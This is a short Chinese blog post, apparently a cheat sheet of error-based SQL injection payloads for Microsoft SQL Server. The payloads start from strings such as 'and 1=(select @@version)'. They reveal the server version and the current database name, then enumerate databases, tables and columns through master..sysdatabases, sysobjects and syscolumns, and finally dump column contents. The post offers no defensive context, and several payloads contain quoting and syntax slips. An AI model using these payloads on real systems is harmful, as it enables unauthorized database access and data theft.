显性注入代码

发布时间:2020-07-04 19:13:49 作者:董小洋
来源:网络 阅读:343

库版本进行查询   and 1=(select @@version)

查看当前库名    and 1=(select db_name() 

库名查询       and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> '第一个数据库库名',name <> '第二个数据库库名',。。。。。。name <> '第N个数据库库名’)

表名查询:       and 1=(select top 1 name from sysobjects where xtype='u’ and name <> '第一个数据库表名'name <> '第二个数据库表名',。。。。。。name <> '第N个数据库表名’) 

列名查询         and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第一个列名’,and name <> '第二个列名'。。。。。。and name <> '第个列名'  )

内容查询:       and 1=(select top 1 列名 from 表名) 


推荐阅读:
  1. PHP代码审计SQL注入篇
  2. 防止恶意代码注入XSS(cross site scripting)

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

显性注入代码

上一篇:Android Studio 使用问题汇总

下一篇:OracleLinux6的安装

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》